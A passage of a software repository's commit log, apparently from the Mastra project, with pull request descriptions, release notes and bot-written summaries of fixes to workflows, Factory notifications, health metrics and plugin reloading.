number of earlier `sleep` and `sleepUntil` entries in `stepFlow`. The
helper increments `n` while `sleep_<workflowId>_<n>` already exists in
`steps`.
- With a custom ID generator, the helper calls `generateId` with the
workflow ID and the step type. It then prefixes the result with
`sleep_`. The generator supplies the suffix.
  - The `crypto.randomUUID()` fallback is removed from both methods.
- **`.changeset/curly-pillows-argue.md`:** Adds a `@mastra/core` patch
changeset. It describes the fix and states these limits:
- Runs stored before this change keep their random IDs. They do not
match after a restart or time travel.
- Scheduled workflows with unnamed sleeps get the same definition hash
on each instance.
- Adding or removing a sleep changes the IDs of later unnamed sleeps.
Pass `{ id }` to keep an ID fixed.

## Documentation and tests

- The raw summary reports that the `sleep` and `sleepUntil` reference
pages describe the ID format, the counter, and the custom ID generator
behavior.
- The raw summary reports a new
`packages/core/src/workflows/sleep-id-determinism.test.ts`. It covers
stable IDs, the shared counter, explicit-ID collisions, and a
rebuild-and-time-travel case.
- The raw summary reports that `sleep-restart.test.ts` now creates a
separate workflow object for each runtime. It asserts that the
`afterSleep` step receives `{ value: 'persist me' }`.
- Verification status: the doc pages and test files were not inspected.
Test results are not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-14 22:44:11 -03:00
dane-ai-mastra[bot]
d0f7dd3a80
chore: version packages (alpha) (#30420)
This PR was opened by the [Changesets
release](https://github.com/changesets/action) GitHub action. When
you're ready to do a release, you can merge this and publish to npm
yourself or [setup this action to publish
automatically](https://github.com/changesets/action#with-publishing). If
you're not ready to do a release yet, that's fine, whenever you add more
changesets to main, this PR will be updated.

⚠️⚠️⚠️⚠️⚠️⚠️

`main` is currently in **pre mode** so this branch has prereleases
rather than normal releases. If you want to exit prereleases, run
`changeset pre exit` on `main`.

⚠️⚠️⚠️⚠️⚠️⚠️

# Releases
## @mastra/factory@0.29.0-alpha.3

### Minor Changes

- Added opt-in health metrics to Factory, sent through `mastra.metrics`.
Pick the groups you want, since every record counts towards
observability usage:
([#30225](https://github.com/mastra-ai/mastra/pull/30225))

  ```ts
  new MastraFactory({
    // ...
metrics: { groups: ['process', 'postgres', 'redis', 'sandbox', 'intake']
}, // or 'all'
  });
  ```

Or set `FACTORY_METRICS=all` (or a list like `sandbox,intake`).
`FACTORY_METRICS_INTERVAL_MS` (default 60s, minimum 15s) and
`FACTORY_METRICS_MAX_PER_MIN` (default 500) tune how often records are
sent and cap their volume. Metrics are named `mastra_factory_*` and
labeled with `service` (`api`, `worker` or `all`) so split deployments
can be told apart.

### Patch Changes

- Fixed a pull request Factory opened for a card whose issue lives in
Jira, Linear or incident.io getting a card of its own on GitHub. The
pull request now attaches to that card and moves it to Review, as it
already does on GitLab, so the work is no longer tracked on two cards
while it is being reviewed. Fixes
[#30358](https://github.com/mastra-ai/mastra/issues/30358).
([#30418](https://github.com/mastra-ai/mastra/pull/30418))

- Deliver Factory notifications when their bound session no longer
exists, including concurrent notifications. Notifications for a role
that has been handed off remain suppressed.
([#30422](https://github.com/mastra-ai/mastra/pull/30422))

- Updated dependencies
[[`02dbde1`](02dbde13cc),
[`7f09a63`](7f09a63553),
[`5686fa1`](5686fa16ed)]:
  - @mastra/code-sdk@1.19.1-alpha.3
## @mastra/redis-streams@0.9.0-alpha.1

### Minor Changes

- Added `createMonitorClient()` and `streamKey()` to
`RedisStreamsPubSub`, so health checks can inspect Redis on their own
connection instead of queueing behind event traffic:
([#30225](https://github.com/mastra-ai/mastra/pull/30225))

  ```ts
const client = pubsub.createMonitorClient(); // unconnected; commands
fail fast while disconnected
  await client.connect();
const groups = await client.xInfoGroups(pubsub.streamKey('workflows'));
  await client.destroy();
  ```
## @mastra/code-sdk@1.19.1-alpha.3

### Patch Changes

- Fixed `mastracode` crashing on startup after a fresh install.
`@mastra/code-sdk` now requires `@mastra/core` 1.84 or newer, the first
version with the knowledge scope helpers it imports. Before, npm could
install `@mastra/core` 1.83, and `mastracode --help` failed with "does
not provide an export named 'encodeKnowledgeScopeId'".
([#30425](https://github.com/mastra-ai/mastra/pull/30425))

- `@mastra/code-sdk` now ships its own copy of the Knowledge scope id
encoder instead of importing `encodeKnowledgeScopeId` from
`@mastra/core`. If npm installs an older `@mastra/core`, `mastracode`
still starts instead of crashing with "does not provide an export named
'encodeKnowledgeScopeId'". A test keeps the copy's output identical to
core's. ([#30427](https://github.com/mastra-ai/mastra/pull/30427))

- **Kept a plugin running when its reload fails.** A reload that fails
for a plugin that was working (a bad update, a throwing resolver) now
keeps the plugin's last good tools, signal providers and version stamp,
and records the error as `reloadError` instead of removing the plugin.
Disabling, blocking or uninstalling it still removes everything, and the
next successful load replaces the kept one.
([#30412](https://github.com/mastra-ai/mastra/pull/30412))

**Added plugin error notifications.** `PluginManager.onPluginError`
reports each distinct reload failure once, along with signal provider
errors from running plugins. With no listener, errors still go to
`console.warn`.

  ```ts
const unsubscribe = pluginManager.onPluginError(({ pluginId, message })
=> {
    console.error(`[${pluginId}] ${message}`);
  });
  ```
## mastracode@0.50.1-alpha.3

### Patch Changes

- **Showed plugin failures in the session.** When a plugin fails to
reload, Mastra Code now shows an error saying it is still running the
previous version, and signal provider errors from plugins appear the
same way instead of only on the console.
([#30412](https://github.com/mastra-ai/mastra/pull/30412))

- Updated dependencies
[[`02dbde1`](02dbde13cc),
[`7f09a63`](7f09a63553),
[`5686fa1`](5686fa16ed)]:
  - @mastra/code-sdk@1.19.1-alpha.3

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-14 17:31:08 -08:00
mastra-platform[bot]
df8e02bbd5
fix(factory): recover stale session bindings before delivering notifications (#30422)
## Summary
- Recover the selected role binding when its bound controller session no
longer exists, before resolving the notification owner and delivering
the notification.
- Preserve safe retry behavior when there is no binding preparer; do not
create an unrelated session or repoint the card.
- Add regression coverage for successful recovery and the no-preparer
failure, including notification delivery and persisted binding state.

## Test plan
- Reproduction test failed before the fix (`prepareBinding` was never
called); both scenarios pass after the fix.
- Full Factory dispatcher suite: 222 passed.
- `pnpm run check` in `mastracode/factory`.
- Type-aware lint and formatting for changed files; `git diff --check`.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: The system sends a notification to a session for a role. Sometimes
that session no longer exists. Now the system first replaces the stale
role binding, then sends the notification. If another session has
already taken over the role, the notification is not sent, and the newer
session stays in charge.

## Summary

This change updates how the Factory dispatcher delivers `notify`
decisions when the selected role binding points to a missing controller
session. It also adds an expected-binding guard to run-start
preparation. The change touches 6 files: 348 lines added and 2 removed.

The change recovers the stale role binding before the notification owner
is resolved and the notification is delivered. When no binding preparer
is available, the change keeps retry behavior. It does not create an
unrelated session or repoint the card.

### Dispatcher (`mastracode/factory/src/rules/dispatcher.ts`, +43/-2)

- The `notify` path selects an active binding.
- If the decision's role was superseded, or the decision was overtaken,
the decision is marked `superseded`.
- The path then prepares or requires the role's binding. It checks that
the selected binding ID is still current.
- `#requireOrPrepareBinding` accepts an expected binding ID. If the
role's current binding differs from that ID, or is missing, it calls
`#sameRoleReplacement`.
- `#sameRoleReplacement` marks the decision `superseded` when:
  - no replacement exists,
  - the replacement is the expected binding,
  - the role was superseded, or
  - the decision was overtaken.
- Otherwise, `#sameRoleReplacement` requires that the replacement
session exists.
- Preparation receives the expected binding ID.
- A `FactoryRunBindingSupersededError` from preparation resolves to a
same-role replacement when an ID was expected. Otherwise, it marks the
decision `superseded`.
- Other preparation errors propagate.
- `FactoryBindingPreparationInput` gains an optional `expectedBindingId`
field.

### Run-start path

- `mastracode/factory/src/routes/surface.ts` (+1):
`prepareFactoryRuleBinding` forwards `input.expectedBindingId` to
`coordinator.prepare`.
- `mastracode/factory/src/rules/start-coordinator.ts` (+2):
`FactoryStartRequest` gains an optional `expectedBindingId`.
`FactoryStartCoordinator.prepare` forwards it to
`storage.prepareRunStart`.
- `mastracode/factory/src/storage/domains/work-items/base.ts` (+21):
  - Adds the `FactoryRunBindingSupersededError` class.
- Adds an optional `expectedBindingId` to `PrepareFactoryRunStartInput`.
  - When `expectedBindingId` is set, `prepareRunStart` requires:
    - an existing work-item ID, and
- an active binding that matches the ID, organization, project, and
role.
- If a requirement fails, `prepareRunStart` throws
`FactoryRunBindingSupersededError` before it processes the pending
start.

### Tests (`mastracode/factory/src/rules/dispatcher.test.ts`, +276)

The added tests cover three cases:

- **Preparer available:** A preparer replaces the stale binding. The
notification is delivered as the owner of the replacement session.
Concurrent notifications that share the stale binding are both
delivered.
- **Successor during preparation:** A successor takes over the session
during preparation. The notification is not sent. The decision becomes
`superseded`. The successor binding stays active, and the stale role is
not restored.
- **No preparer:** The notification is not sent. The decision retries
with `session_unavailable`. The active binding is unchanged.

### Changeset (`.changeset/factory-stale-notification-binding.md`, +5)

Adds a patch changeset for `@mastra/factory`. It describes delivery of
notifications when a bound session no longer exists, including
concurrent notifications. It also describes suppression of notifications
for roles that have been handed off.

### Not verified

- The PR objectives report 222 passing Factory dispatcher tests, a
passing `pnpm run check` in `mastracode/factory`, and clean lint,
format, and `git diff --check` results. These results are
author-reported. This review did not run them.
- This review did not run the tests, type checks, or lint.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-14 16:50:19 -08:00
mastra-platform[bot]
7bc312b64b
fix(factory): attach a Factory pull request to a Jira, Linear or incident.io card on GitHub (#30418)
> Opened by @factory-project:7d5175c3-3a20-42ac-aba9-756f183136f4

On GitHub, a pull request Factory opened for a card whose issue lives in
Jira, Linear or incident.io was filed on a card of its own. The source
card never gained a `pull-request` source, so it could not enter the
board's pull request review phase: the move is refused for a card with
no pull request attached ("holds only cards with a pull request").
GitLab already took such a card as the merge request's home, so the two
providers behaved differently for the same board.

`GithubRules.#pullRequestHome` decides which existing card a first-seen
pull request belongs with. Its `eligible` predicate required
`cardBelongsToRepository` for every card, which matches a card by its
GitHub issue/PR URL or an intake-stamped `githubRepositoryId` — neither
of which a Jira or Linear card carries, so the authoring card was never
eligible and no `attachTo` was emitted. `eligible` now requires
repository membership only for GitHub cards, mirroring GitLab's own
`eligibleHome`, which excludes GitHub cards in the same way. A card with
no source of its own still never takes a pull request, since it would
become the card's only source, and a GitLab card still keeps only merge
requests.

Regression tests cover a Jira, Linear and incident.io card (the pull
request joins the card, no second card, and the card reaches PR review),
plus the two negatives — a source-less card and a GitLab card — and the
GitHub control.

## Checks on `0f37b50059`

| Check | Result | Tests |
| --- | --- | --- |
| Targeted suite — `src/integrations/github/rules.test.ts` | ✅ Passed |
230 passed, 7 skipped (237) |
| GitHub integration suite — `src/integrations/github` | ✅ Passed | 847
passed, 7 skipped (24 files) |
| New tests on base code (`5b7f1302`) | ✅ Passed | the jira, linear and
incident.io cases fail there with 2 cards instead of 1; the github
control passes |
| Typecheck — `tsc --noEmit` | ✅ Passed | — |
| Lint — `oxlint --type-aware` on both changed files | ✅ Passed | 0
warnings, 0 errors |
| Merge into current `main` | ✅ Passed | no conflicts |

Adversarial check: I tried to make the relaxed predicate over-reach — a
card with no source of its own, a GitLab card, and a same-numbered card
in another repository — and each is still refused (the first two by the
new negative tests, the third by the existing cross-repository test at
`rules.test.ts:6925`), while an untrusted author still returns before
eligibility is evaluated, so a pull request cannot claim a card it did
not author.

## Follow-ups (not required work)

- `mastracode/factory/README.md:550`, and the "One card per issue"
entries in `CHANGELOG.md`, still say a GitHub project's card must be a
GitHub issue card from the same repository. After this change GitHub
also takes a card that owns a Jira, Linear or incident.io issue, so
those lines no longer describe the rule.

Fixes #30358

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

When Factory opens a GitHub pull request for a Jira, Linear, or
incident.io card, the pull request now joins that card. Before this
change, it got a card of its own, so the original card could not move to
Review.

## Summary

This change relaxes the card-eligibility rule that Factory uses when it
attaches a newly opened GitHub pull request to an existing card. It also
updates the tests and the README, and adds a patch changeset for
`@mastra/factory`.

### Behavior changes in `rules.ts`

`#pullRequestHome` now selects an eligible card from another integration
as the pull request's home. A card is eligible only when all of these
hold:

- The card has an external source. Source-less cards are rejected.
- The card is not a pull-request card.
- The card's integration is not `gitlab`.
- The card is not a terminal work item.
- If the card's integration is `github`, the card must belong to the
current repository.

Cards from Jira, Linear, and incident.io skip the repository check. The
doc comment on the method is updated to match.

### Test changes in `rules.test.ts`

- The `ExternalWorkItemSource` type is imported.
- The `authoredPullRequest` helper takes an optional external source. It
defaults to a GitHub issue source. Passing `null` creates a card with no
source.
- A parameterized test covers GitHub, Jira, Linear, and incident.io
authoring cards. Each case expects one card, stage `pr-review`, and
sources `issue` and `pull-request`.
- A test covers an authoring card with no source. It expects two cards
and no sources on the authoring card.
- A test covers a GitHub pull request on a GitLab card. It expects two
cards, and the GitLab card keeps only its `issue` source.

### Documentation and changeset

- `README.md` now states that GitHub pull requests attach to
same-repository GitHub issue cards, or to Jira, Linear, and incident.io
cards that have an issue. It also states that GitLab cards accept GitLab
merge requests, and cards from the other forge do not.
- A changeset adds a patch release for `@mastra/factory`. It describes
the fix for issue `#30358`.

### Scope

- Files changed: 4 (`rules.ts`, `rules.test.ts`, `README.md`, and the
changeset).
- Lines: +115, −12.

### Not covered by this diff

- The provenance and session-branch matching logic is not changed. The
diff changes only the eligibility filter.
- Test and type-check results are not verified from this diff. The PR
description reports a passing `rules.test.ts` run, a passing GitHub
integration suite, and passing `tsc --noEmit` and `oxlint --type-aware`.
These are author-reported and were not re-run here.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-14 16:47:31 -08:00
Tyler Barnes
7f09a63553
fix(code-sdk): ship its own Knowledge scope id encoder so an older core can't crash startup (#30427) 2026-11-14 16:12:23 -07:00
Tyler Barnes
ca59cc11c8
ci(test-tiers): record failures under the real file when the test group name isn't a folder (#30423) 2026-11-14 15:23:30 -07:00
Tyler Barnes
02dbde13cc
fix(code-sdk): require @mastra/core 1.84 so fresh mastracode installs start (#30425) 2026-11-14 15:22:57 -07:00
mastra-platform[bot]
4dd77bac9f
feat(factory): opt-in health metrics by group (#30225)
> Opened by @roaminro

## What

Opt-in health metrics for Factory, sent through `mastra.metrics`, so a
deployment can tell at a glance which component to investigate first:
the Node process, Postgres, Redis, sandboxes and session start-up, or
intake.

Every record counts towards observability usage, so nothing is collected
unless a group is turned on:

```ts
new MastraFactory({ ..., metrics: { groups: ['sandbox', 'intake'] } }); // or groups: 'all'
```

Env overrides: `FACTORY_METRICS` (`all`, `0`, or a list),
`FACTORY_METRICS_INTERVAL_MS` (default 60s, min 15s),
`FACTORY_METRICS_MAX_PER_MIN` (default 500).

| Group | Metrics (`mastra_factory_*`) |
| --- | --- |
| process | event-loop delay and utilization, heap utilization and
memory against the heap limit, `process_cpu_cores` (all threads) against
`process_cpu_limit_cores`, major/incremental GC pauses,
`process_uptime_ms` |
| postgres | pool total/idle/waiting per pool (read after the check),
`SELECT 1` check per pool, `pg_stat_activity` sessions + longest
query/idle transaction, slowest `pg_stat_statements` logged every 10 min
by query ID |
| redis | `INFO` check, memory used/max and utilization, clients,
evictions, stream backlog (only with `RedisStreamsPubSub`; only the
check on a cluster) |
| sandbox | `session_ready_ms{kind=first\|resume,outcome}` per start
(failures included), `session_sandbox_wait_ms`, `sessions_starting` +
`session_start_oldest_age_ms` every interval, provider start time and
failures (`sandbox_provider`), setup phase and command timings,
recreate/reset/retire counts, active sandboxes |
| intake | GitHub/Linear ingest outcomes, reconcile replays (missed
webhooks), sweep failures, `intake_last_sweep_age_ms` per kind (counted
from when the sweep worker starts) |

## How

- Disabled groups are no-ops: no timers, checks or records.
- Counts and timings are aggregated in-process and sent once per
interval. A counter is one record per series. A timing is
`stat=avg|p95|max` on its `_ms` series plus a `<name>_count` series with
the number of observations, so a series ending in `_ms` is always
milliseconds. p95 uses reservoir sampling. Every duration is in ms.
- Quiet intervals still send 0 for known counters (configured intake
sources, sweep failures, sandbox start failures), so an empty chart
means "nothing happened", not "not reporting".
- A per-minute cap holds over the whole minute; event counts and timings
are sent before gauges, so the cap drops gauges first. Overflow is
counted in `mastra_factory_metrics_dropped_total`.
- Check durations are sent for `db_store`, `db_vector` and `redis` only;
the server-stats checks send failures only.
- Labels are closed sets only: no IDs, paths or repository names.
- Every record has `service=api|worker|all`, derived from
`MASTRA_WORKERS`. Server-wide stats (Postgres activity, Redis
memory/backlog) run only on `worker`/`all`, so split deployments don't
report them twice. Platform's built-in `serviceName` isn't set per
record: `metrics.emit()` has no override, so that needs a core or
Platform change.
- `mastra.metrics` and the logger are read on every flush, since
Platform registers its exporter after the app module loads. A failed
tick is logged, never thrown.
- `[factory:timing]` stderr lines keep main's rule (only when boot
diagnostics are on); metrics are recorded either way, gated by their own
group.
- `RedisStreamsPubSub` gains `createMonitorClient()` + `streamKey()`, so
checks use their own connection and never queue behind pub/sub traffic.
- Session sandbox retirement counts only real, successful retirements.

## Not included

Linear/GitLab issue-reconcile sweeps, Platform poller latency, Slack
time-to-first-reply (needs a hook in `packages/core` channels),
HTTP/storage timings.

## Test plan

- [x] `pnpm check`, `pnpm lint` in `mastracode/factory`; `tsc` in
`pubsub/redis-streams`
- [x] `src/metrics/metrics.test.ts`: config parsing, service mapping,
aggregation and `_count` series, cap and send order, zero counters,
disabled groups, api skips server-wide stats, session start timing
(joined callers, failures, starts in flight), check guards, sweep age
- [x] Existing tests for touched modules (workspace, github
rules/sandbox/reconcile, linear rules, sandbox, timing)
- [x] Snapshot on shipyard `beta` with `FACTORY_METRICS=all` (single
process, `service=all`)
- [ ] Split deployment reporting both `service=api` and `service=worker`

Docs: mastra-ai/softwarefactory-docs#18

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: Roamin <97863888+roaminro@users.noreply.github.com>
2026-11-14 15:55:22 -05:00
Tyler Barnes
5686fa16ed
fix(code-sdk): keep a plugin's last good load when its reload fails (#30412)
## Summary

When a plugin that is already working fails to reload (a bad update, an
import error, a field resolver that throws), Mastra Code used to replace
it with an empty `load failed` record. Its tools vanished from the
session, its signal providers were stopped, and the error only reached
`console.warn`, which the TUI never shows. One broken update silently
removed a working plugin.

Now:
- **The last good load keeps running.** If a plugin was active and its
reload fails, its previous tools, processors, signal providers and
version stamp are kept, and the error is recorded as `reloadError`.
Status stays `active`, so existing filters keep working, and the signal
lane keeps the provider it already runs. Disabling, blocking or
uninstalling the plugin still removes it, and the next successful load
replaces the kept one.
- **Failures are visible.** `PluginManager.onPluginError` reports each
distinct reload failure once. `createMastraCode` routes signal-lane
errors (providers that fail to start, stop or provide processors) to the
same channel, and the TUI shows them as an error notice. With no
listener, they still go to `console.warn`.
- **Notices stay accurate.** A GitHub update that fails to load is not
also reported as updated. If a kept load ends up in a tool-name
conflict, its notice doesn't claim it is still running.

## Testing

- `manager.test.ts`: a real local plugin whose `signalProviders`
resolver starts throwing keeps its tools, provider instance and stamp;
recovers on the next good load; is still removed when disabled or
uninstalled; and reports one error per distinct failure. Further cases:
a kept load that ends up conflicted, and a GitHub update that fails to
load.
- `index.test.ts`: a plugin signal provider that fails to start is
reported through the plugin manager, not `console.warn`.
- `signal-lane.test.ts`: error assertions pin the owning plugin id,
including when a provider fails to stop.
- TUI E2E `plugins-local-reload-failure`: breaks a working plugin
mid-session, expects the on-screen error, and checks the tool still
answers from the previous version.
- The new tests fail on `main`. `tsc` passes for `@mastra/code-sdk` and
`mastracode`; the plugin unit tests and the plugin E2E scenarios
(`plugins-local-reload-failure`, `plugins-local-hot-reload`,
`plugins-github-poll-update`) pass.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

When a plugin update breaks, the plugin keeps working with its last good
version. The user sees an error message, so they know the new version
failed.

## Summary

This change keeps the last good load of an active plugin when a reload
fails. It also adds a plugin error channel. Reload failures and
signal-lane errors are sent to that channel and shown to the user.

## Behavior changes

- A failed reload of an active plugin keeps its previous tools,
processors, signal providers, and version stamp.
- The failure is stored on the plugin as `reloadError`.
- The plugin status stays `active`, unless a conflict prevents the kept
load from running.
- A kept load that ends up conflicted is not described as still running.
- A successful reload replaces the kept load and clears `reloadError`.
- Disabling, blocking, or uninstalling a plugin removes it. This applies
to plugins with a kept load.
- Re-enabling a failed plugin without a successful load leaves it in
`load failed` status.
- A failed GitHub update does not report success. The old tools stay in
place, and an error is emitted. Listeners do not receive an "updated"
notice for that plugin.
- GitHub update notifications skip plugins that have a `reloadError`.

## Error reporting

- `PluginManager` adds `onPluginError(listener)`, which returns an
unsubscribe function.
- `PluginManager` adds `reportPluginError(event)`.
- Each distinct reload failure produces one `PluginErrorEvent` (`{
pluginId, message }`). A plugin that stays broken across later reloads
with the same error does not repeat its notice.
- Reload failures are reported before reload listeners run. A reload
listener that throws does not suppress the failure notice.
- `reportPluginError` calls each error listener in its own `try` block.
A throwing error listener does not stop the other error listeners. Its
failure is written to `console.warn`.
- With no error listener registered, the message goes to `console.warn`.
- `PluginSignalLane` routes provider errors through
`pluginManager.reportPluginError`. The `onError` callback now receives
`pluginId` as a third argument. The lane passes this ID for start
failures, stop failures, duplicate provider IDs, and processor retrieval
failures.
- `MastraTUI` subscribes to plugin errors when a plugin manager exists
and no listener is registered. It shows each message with `showError`.
It removes the subscription on shutdown.

## Type and API changes

- `LoadedPlugin` gains optional `reloadError?: string`.
- New exported type `PluginErrorEvent = { pluginId: string; message:
string }`.
- `LoadPluginRecordOptions` gains optional `previous?: LoadedPlugin[]`.
During reload, `loadPlugins` reuses a prior active plugin with the same
ID and scope when its record fails to load.
- `PluginSignalLaneOptions.onError` gains a third parameter, `pluginId:
string`.

## Tests and fixtures

- Unit tests in `manager.test.ts` cover kept loads, recovery, removal,
`load failed` status, one notification per distinct failure, conflicted
reloads, and failed GitHub updates.
- `signal-lane.test.ts` checks that `onError` receives the plugin ID for
collisions, startup and shutdown failures, and processor errors.
- `index.test.ts` adds a test where a signal provider's `start()`
rejects. The test checks the reported plugin ID and message, and checks
that no console warning is emitted.
- A new TUI E2E scenario, `plugins-local-reload-failure`, has a fixture
file and is registered in the scenario index and the `ScenarioName`
type. It runs a working tool, makes the plugin broken, waits for the
reload error, and checks that the tool still returns the previous
result.
- The PR author reports that the new tests fail on `main`. The author
also reports that `tsc` passes for `@mastra/code-sdk` and `mastracode`,
and that the plugin unit tests and the E2E scenarios pass. These results
are author-reported. They were not verified in this summary.

## Changesets

- A `mastracode` patch changeset describes plugin reload failures and
signal provider errors.
- A `@mastra/code-sdk` patch changeset describes kept loads,
`reloadError`, and the `onPluginError` notifications.

## Scope

- 15 files changed. 582 lines added and 13 removed.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-14 10:58:01 -08:00
Tyler Barnes
ca0af9fa6e
ci: skip memory benchmarks on PRs and run durable stream tests in parallel (#30416) 2026-11-14 11:54:40 -07:00
dane-ai-mastra[bot]
15dc07c51d
chore: version packages (alpha) (#30394)
This PR was opened by the [Changesets
release](https://github.com/changesets/action) GitHub action. When
you're ready to do a release, you can merge this and publish to npm
yourself or [setup this action to publish
automatically](https://github.com/changesets/action#with-publishing). If
you're not ready to do a release yet, that's fine, whenever you add more
changesets to main, this PR will be updated.

⚠️⚠️⚠️⚠️⚠️⚠️

`main` is currently in **pre mode** so this branch has prereleases
rather than normal releases. If you want to exit prereleases, run
`changeset pre exit` on `main`.

⚠️⚠️⚠️⚠️⚠️⚠️

# Releases
## @mastra/core@1.84.0-alpha.2

### Minor Changes

- Added run metadata to background process callbacks.
([#30161](https://github.com/mastra-ai/mastra/pull/30161))

`backgroundProcesses` callbacks on `execute_command` now receive, when
available, the `agentId`, `threadId`, `resourceId`, and `runId` of the
call that started the process, so hosts can route exit notices to the
right conversation. `onExit` also receives `killedByAbort`, which is
`true` when the abort signal fired (the run's signal by default) and
killed the process.

  ```ts
  backgroundProcesses: {
    onExit: ({ pid, exitCode, threadId, killedByAbort }) => {
if (!killedByAbort) notifyThread(threadId, `Process ${pid} exited with
code ${exitCode}`);
    },
  },
  ```

`truncateOutput` and `DEFAULT_TAIL_LINES` are now exported from
`@mastra/core/workspace`, so hosts can trim process output the same way
`execute_command` does.

### Patch Changes

- Fixed retries in `dountil` and `dowhile` loops on the evented engine.
Each iteration of a loop body now starts at `retryCount` 0 and gets the
step's full `retries`, as on the default engine. Before, the count
carried over from earlier iterations, so a body that failed once in a
later iteration could run out of retries and fail the run.
([#30383](https://github.com/mastra-ai/mastra/pull/30383))

If your step code reads `retryCount` inside a loop body, it now gets the
attempt within the current iteration. The loop condition receives the
iteration number as `iterationCount`. To use it inside the body, pass it
through the step's output or workflow state.

- Fixed durable agent runs failing with
`DURABLE_AGENT_EXECUTION_UNVERIFIED` when an ownership check took longer
than the lease TTL (15 seconds by default) while the same process still
held the run. These runs used to fail and lose their saved snapshots.
They now keep running, and a step stops only when an ownership check
fails, the claim can't be renewed before it expires, or another
execution takes over the run.
([#30386](https://github.com/mastra-ai/mastra/pull/30386))

- Fixed workflow recovery restarting a run that is still executing,
which ran its steps twice. `startAsync()` now takes the run's lease
before it saves the first snapshot, so it resolves after the lease is
taken and rejects if taking it fails. Runs of workflows whose
`shouldPersistSnapshot` saves `waiting` but not `running` now hold a
lease too, so recovery no longer restarts them while they execute or
sleep. ([#30384](https://github.com/mastra-ai/mastra/pull/30384))

- `processToolResult` now sees and can rewrite a tool's `toModelOutput`
result. Previously, when a tool mapped its result with `toModelOutput`
(for example a file viewer returning images), output processors only saw
and changed the raw result, and the mapped output, images included,
still reached the next model call and stored history unchanged.
([#30401](https://github.com/mastra-ai/mastra/pull/30401))

The hook now receives `modelOutput`. To replace it, commit a
`result`-state part that carries the new value in
`providerMetadata.mastra.modelOutput`:

  ```ts
processToolResult({ messageList, toolCallId, toolName, args, result,
modelOutput }) {
    messageList.updateToolInvocation({
      type: 'tool-invocation',
toolInvocation: { state: 'result', toolCallId, toolName, args, result },
providerMetadata: { mastra: { modelOutput: shrinkImages(modelOutput) }
},
    });
  }
  ```

A processor that replaces only `result`, or edits it in place, now has
the new value mapped through `toModelOutput` again, so the model reads
the mapping of the processed result rather than of the original. With
several processors, each one receives the `modelOutput` the processor
before it committed, so a later processor can't bring back an image an
earlier one removed. This applies to both regular and durable agents. In
durable agents, a `processToolResult` that throws now also keeps the
unprocessed mapped output from the model, not only the raw result.
## @mastra/client-js@1.60.1-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
## @mastra/react@1.15.1-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/client-js@1.60.1-alpha.2
## @mastra/deployer-cloud@1.84.0-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/deployer@1.84.0-alpha.2
## @mastra/longmemeval@1.1.43-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`9eae968`](9eae9680d2),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/memory@1.41.2-alpha.1
## @mastra/opencode@0.1.43-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`9eae968`](9eae9680d2),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/memory@1.41.2-alpha.1
## @mastra/factory@0.29.0-alpha.2

### Patch Changes

- Recognize Detail findings as linked work items so intake cards retain
their external source and rule identity.
([#30410](https://github.com/mastra-ai/mastra/pull/30410))

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/code-sdk@1.19.1-alpha.2
## create-factory@0.4.4-alpha.2

### Patch Changes

- Updated dependencies:
  - mastra@1.39.1-alpha.2
## @mastra/code-sdk@1.19.1-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`9eae968`](9eae9680d2),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/memory@1.41.2-alpha.1
  - @mastra/client-js@1.60.1-alpha.2
## mastracode@0.50.1-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`9eae968`](9eae9680d2),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
